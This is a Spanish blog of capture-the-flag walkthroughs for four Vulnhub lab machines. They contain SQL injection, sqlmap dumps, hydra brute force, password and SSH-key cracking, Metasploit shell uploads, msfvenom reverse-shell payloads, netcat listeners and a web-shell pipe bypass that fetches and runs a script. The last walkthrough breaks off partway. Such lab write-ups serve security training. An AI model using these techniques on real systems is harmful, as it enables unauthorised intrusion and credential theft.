sábado, 11 de diciembre de 2021

CTF BTRSystem 1 VM


 

 Esta máquina tiene una particularidad interesante que más adelante se notara, sin más preámbulos comienzo con escanear los puertos.

 $ sudo nmap -sV -Pn -A -O -oN btrs_1 192.168.2.9
Starting Nmap
Nmap scan report for 192.168.2.9
Host is up (0.0010s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d618d9ef75d31c29be14b52b1854a9c0 (DSA)
|   2048 ee8c64874439538c24fe9d39a9adeadb (RSA)
|   256 0e66e650cf563b9c678b5f56caae6bf4 (ECDSA)
|_  256 b28be2465ceffddc72f7107e045f2585 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BTRisk
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


De acuerdo al escaneo, verificaré el servicio FTP con usuario anónimo.
$ ftp -p 192.168.2.9
Connected to 192.168.2.9.
220 (vsFTPd 3.0.2)
Name (---): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||54122|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> bye
221 Goodbye.
 
Al parecer el servicio no se encuentra archivos disponibles. El siguiente servicio es el web, que resulta que está en idioma turco, que es una sorpresa.

 
Con un traductor y un poco de paciencia, ahí dice página principal, revisando el código fuente, no se encontró algo. 


En esta sección se llama sobre nosotros, donde hay un artículo sobre algunas generalidades bastante interesantes (recomiendo, traducirlo y leerlo), aparte de eso no hay pistas. Asi que sigue el escaneo de rutas.
$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
Progress: 220425 / 220586 (99.93%)
===============================================================

Al visitar /uploads, esa ruta solo se encontró un lugar vacío donde aparentemente. Asi que repito la operación, pero añadiendo la bandera que busca también por las extensiones que determine.

$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              cgi,html,js,css,py,php,sh,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/index.php            (Status: 200) [Size: 758]
http://192.168.2.9/login.php            (Status: 200) [Size: 4561]
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/config.php           (Status: 200) [Size: 2]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
===============================================================

Revisando el login, se encuentra este formulario de Iniciar sesión, donde solicita el Nombre de usuario y la Contraseña.

 

Dentro del formular se encontró un método que hacía la verificación haciendo un par de verificaciones, nada que no es pudiera lograr con burp suit. Utilizando como usuario btrisk.com y como contraseña una delicada infección "a'or1=1;--", redirigiendo a este apartado donde dice Persona Información personal(o algo similar).


Uilizando otra herramienta llamada slq map, para averiguar mas sobre la informacion de este sitio.
$ sqlmap --wizard
Please enter full target URL (-u): http://192.168.2.9/personel.php
POST data (--data) [Enter for None]: kullanici_adi=btrisk.com&parola=btrisk.com
Injection difficulty (--level/--risk). Please choose:3
Enumeration (--banner/--current-user/etc). Please choose:3
...
database management system users [6]:
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'troll'
...
+----+-------+------------+-----------+------------+----------------+-----------------+----------------+
| ID | Parola | AnneAdi | BabaAdi | Ad_Soyad| AnneMeslegi | BabaMeslegi | KardesSayisi | Kullanici_Adi    |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| 1  | asd123*** | nazli   | ahmet   | ismail kaya | lokantaci   | muhasebe    | 5            | ikaya@btrisk.com |
| 2  | asd123*** | gulsah  | mahmut  | can demir   | tuhafiyeci  | memur       | 8            | cdmir@btrisk.com |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+


Lo mas reveledor es esta tabla llamada ensayo y los campos:

| ID | Contraseña | Nombre_de_la_madre | Nombre_del_padre | Primer_Apellido | Ocupación_de_la_madre | Ocupación_del_padre , Número_del_hermano , Nombre_del_usuario |

 

Conociendo esto se inicio sesion nuevamente con  ikaya@btrisk.com:asd123***

 

Al inspeccionar la página encuentro este comentario sobre las extensiones que permite pasar. Asi que la idea es tomar una reverse shell y en el buen burpsuit cambiarle la extensión por .php. Lo siguiente es pasarle la IP y el puerto que estará escuchando y lanzarlo.
$ nc -lvnp 4567

A continuación, al ir a l aruta /uploads y abrir el archivo, le regresa una conexión al servidor.

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python -V
Python 2.7.6
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@BTRsys1:/$

Buscando en varios directorios no encuentre nada, intente hacer su a root 

www-data@BTRsys1:/$ su -l
su -l
Password: asd123***

root@BTRsys1:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@BTRsys1:~#



Muchas gracias a @ismailonderkaya que nos brindó esta VM. Hasta la próxima.

Vulnhub: BTRSystem v1


domingo, 21 de noviembre de 2021

CTF Basic Pentesting 2 VM



 

Primero se escanea los puertos para descubrir los servicios activos

$ sudo nmap -sV -Pn -A -O -oN basic2 192.168.2.6        
Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00049s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date:
|_  start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)


Teniendo un servicio habilitado en el puerto 80 en el navegador se comprueba el contenido.

 

En este caso no hay mucha información, asi que se inspecciona el código fuente.


 Hay un comentario haciendo alusión a dev. Bueno ahora a buscar en las rutas de este servicio

$ gobuster dir -u http://192.168.2.6/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.6/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.6/development          (Status: 301) [Size: 316] [--> http://192.168.2.6/development/]
http://192.168.2.6/server-status        (Status: 403) [Size: 299]
Progress: 218922 / 220586 (99.25%)
===============================================================

 

Al verificar la ruta, se encontró dos mensajes, dev.txt y j.txt


$ cat j.txt   

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

$ cat dev.txt             

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

 

Estas dan 2 pistas, que j tiene una credencial débil y que tiene han habilitado smb. Con esto lo siguiente es recabar más información sobre smb.

$  sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.2.6

Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00042s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:xx:xx:xx

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\192.168.2.6\Anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\anonymous
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\192.168.2.6\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba Server 4.3.11-Ubuntu)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds


Se descubrio que se puede acceder con anonymous a smb con un cliente

$ smbclient //192.168.2.6/anonymous
Password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

                14318640 blocks of size 1024. 11000564 blocks available
smb: \> exit


Con el comando ls se identificó un archivo que se puede descargar.

$ smbget -R smb://192.168.2.6/anonymous   
Password:
Using workgroup WORKGROUP, user aka-linux
smb://192.168.2.6/anonymous/staff.txt                                                                                                                                  
Downloaded 173b in 4 seconds

$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Dentro de este archivo es una nota que se dejaron como recomendación para organizarse entre ellos. Teniendo ahora los nombres de jan y kay, sabiendo que uno de ellos tiene una contraseña débil, hay que explotarla.

hydra -l jan -P /home/.../rockyou.txt -t 16 10.10.218.12 ssh
[22][ssh] host: 192.168.2.6   login: jan   password: armando

Con la contraseña, se inicia sesion con el usuario jan y la contraseña ya se tiene.
$ ssh jan@192.168.2.6           

En el espacio de trabajo de este usuario no hay mayor cosa, asi que buscando se encontró el espacio de kay.
an@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

Hay un archivo muy interesante llamado pass.bak, pero no se tiene permiso para acceder. El siguiente es la carpeta .ssh.

jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU


Encontrando esta llave privada, solo es copiarla y explotarla.

$ vi id_rsa
$ ssh2john id_rsa > hash.txt

Se uso una utilidad para convertir en un formato que john lo pueda usar para romper la llave.
$ john --wordlist=~/Documentos/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

                                                                                                                                                                 Como john ya conocia la contraseña, solo se le debe pasar el archivo y la flag --show
$ john hash.txt --show                             
id_rsa:*******

1 password hash cracked, 0 left

Ahora se le da los permisos necesarios para la llave y se ingresa con el usuario kay, el archivo rsa y la contraseña.
$ chmod 0400 id_rsa
$ ssh kay@192.168.2.6 -i id_rsa 

Ahora con el usuario se puede ver el contenido de pass.bak
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$


Luego utilizando esa contraseña para ingresar al usuario root.

kay@basic2:~$ sudo -i
[sudo] password for kay:
root@basic2:~# id
uid=0(root) gid=0(root) groups=0(root)
root@basic2:~# ls
flag.txt

 

A continuación les dejo parte del mensaje.


root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting_2

martes, 9 de noviembre de 2021

CTF Basic Pentesting 1 VM


 


Primero se hace un escaneo de puertos con nmap

$ sudo nmap -sV -Pn -A -O -oN basic1 192.168.2.4
Nmap scan report for 192.168.2.4
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d60190392d8f46fb038673b33c547e54 (RSA)
|   256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_  256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Luego se modifica el archivo host para que resuelva la IP con un dominio de forma local.

$ vi /etc/hosts


Ahora se verifica el servicio web disponible en el puerto 80.


En este lugar no hay mucha información reveladora, así que se procede con escaneo de rutas con gobuster.
 

 $ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=========================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================

 Yendo a la ruta http://vtcsec/secret/ se encontró una web oculta hecha con WordPress.


 

Así que se escanea de nuevo para encontrar nuevas rutas a partir de esta web.

$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.4
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
===============================================================

Por el momento lo más llamativo es la ruta de /wp_admin donde está el panel de administración de WordPress, y usando con un usuario y contraseña por defecto, en este caso "admin:admin" se logró ingresar.

Con el panel administración a disposición doy 2 métodos para obtener una Shell.


Método 1: Usando metasploit.

Dentro de la consola de msf buscamos un módulo que pueda servir en este caso wp-admin

msf > search wp_admin

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

 Ahora solo es setear los datos importantes como la contraseña,el rhost(remote), rport,targeturi,username, lhost (local) y opcionalmente el lport quedando algo asi.

msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.2.4      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /secret/         yes       The base path to the wordpress application
   USERNAME   admin            yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

Es hora de ejecutar este módulo con el comando run.

msf exploit(unix/webapp/wp_admin_shell_upload) > run

Si todo está bien se ejecutará y dará un meterpreter y pedir una Shell.

meterpreter > shell
Process 2268 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Método 2: Usar una utilidad de WordPress

Teniendo control de la página de WordPress, al dirigirse hacia apariencia > editor y escoger un, témplate, en mi caso, el 404.php y cargar un reverse Shell con la IP local y un puerto al cual va a apuntar.


Ahora se coloca nc a escuchar por el puerto definido en la reverse Shell.

$ nc -lvnp 4567


Ahora navegando en las rutas, la Shell quedo guardada en el archivo 404 del tema seleccionado en mi caso es este.

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

Revisando nc, la Shell ya se tiene acceso.


Ahora a buscar si hay algún archivo con escritura en root se encontró este.

$  find / type f -perm -04000 -ls 2>/dev/null

1028     56 -rwsr-xr-x   1 root     root          54256 May 16  2017 /usr/bin/passwd

Comprobando los permisos de /etc/shadow

ls-l /etc/shadow
4 -rw-r--r-- 1 root shadow 1305 Nov 16 2017 /usr/bin/passwd

Se puede utilizar la herramienta unshadow para extraer las contraseñas de los usuarios. 

$ unshadow passwd shadow > pass

Usando John the ripper, se obtiene el usuario y la contraseña

$ john pass                                                                                                
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
marlinspike      (***********)   

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting 1

viernes, 15 de octubre de 2021

CTF Bulldog VM


Primer se hace un escaneo con nmap para descubrir los puertos abiertos como vector de ataque

─$ sudo nmap -sV -O 10.0.2.10
Starting Nmap 7.92 ( https://nmap.org ) at 2021-07-31 14:53 -05
Nmap scan report for 10.0.2.10
Host is up (0.00091s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Se encontraron 3 servicios, ssh en el puerto 23 y 2 servicios web en los puertos 80 y 8080 respectivamente.Ahora desde el navegador dar un vistazo lo que tiene los servicios web.




Siguiendo el flujo de la aplicación no se encontró algo que nos sirviera para acceder al servidor, así que a través de una herramienta de escaneo de paths en este caso nikto.

 
─$ nikto -h 10.0.2.10:8080
- Nikto
---------------------------------------------------------------------------
+ Target IP: 10.0.2.10
+ Target Hostname: 10.0.2.10
+ Target Port: 8080
+ Start Time: 2021-07-31 15:04:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ 7907 requests: 16 error(s) and 3 item(s) reported on remote host
+ End Time: 2021-07-31 15:04:41 (GMT-5) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


Se encontró una ruta interesante.

Tada!!, una interesante ruta dándonos a conocer sobre algunas cosas que nos podrían servir mas adelante. Al inspeccionar la pagina se encuentra esto.
 

Pasando estos hash's por una herramienta de identificación de hash's se obtuvo esto.


Ahora probando con ora herramienta de analizador de path, est utiliza un dicccionario de rutas para identificarlas se obtuvo unas rutas nuevas

└─$ dirb http://10.0.2.10:80

-----------------
DIRB
By The Dark Raver
-----------------

START_TIME: Sat Jul 31 15:41:12 2021
URL_BASE: http://10.0.2.10:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.2.10:80/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/
==> DIRECTORY: http://10.0.2.10:80/dev/
+ http://10.0.2.10:80/robots.txt (CODE:200|SIZE:1071)

---- Entering directory: http://10.0.2.10:80/admin/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/
==> DIRECTORY: http://10.0.2.10:80/admin/login/
==> DIRECTORY: http://10.0.2.10:80/admin/logout/

---- Entering directory: http://10.0.2.10:80/dev/ ----
==> DIRECTORY: http://10.0.2.10:80/dev/shell/

---- Entering directory: http://10.0.2.10:80/admin/auth/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/group/
==> DIRECTORY: http://10.0.2.10:80/admin/auth/user/

 

Al iniciar sesión en la ruta login con el usuario nick y bulldog me llevo a esta sección.  

Así que dando un vistazo a la ruta donde estaba la shell en la ruta dev.


  Probando un poco los comandos que permite


Al utilizar pipe (|) es posible bypassear el acceso de otros comandos no permitidos.



 

Pues ahora se va a crear un payload con msfvenom

└─$ sudo msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.15 lport=4567 > shell.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 493 bytes
Final size of python file: 2401 bytes

Despues vamos a metasploit para buscar el exploit que llevara el payload que acabamos de crear.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf6 exploit(multi/handler) > set lport 4567
lport => 4567
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

Para recapitular tengo un exploit escuchando en un puerto especifico, esperando que en el objetivo ejecute el script para tener una conexión en su maquina, aprovechando la web shell vulnerable que anteriormente habíamos encontrado, se va a cargar y ejecutar. Lo primero voy a crear un servicio web con un puerto por defecto donde se localiza el script malicioso.

─$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...


Ahora en la web shell vamos a pasar un comando permitido, pipe, la dirección del servicio web, pipe, comando para ejecutar el script malicioso.

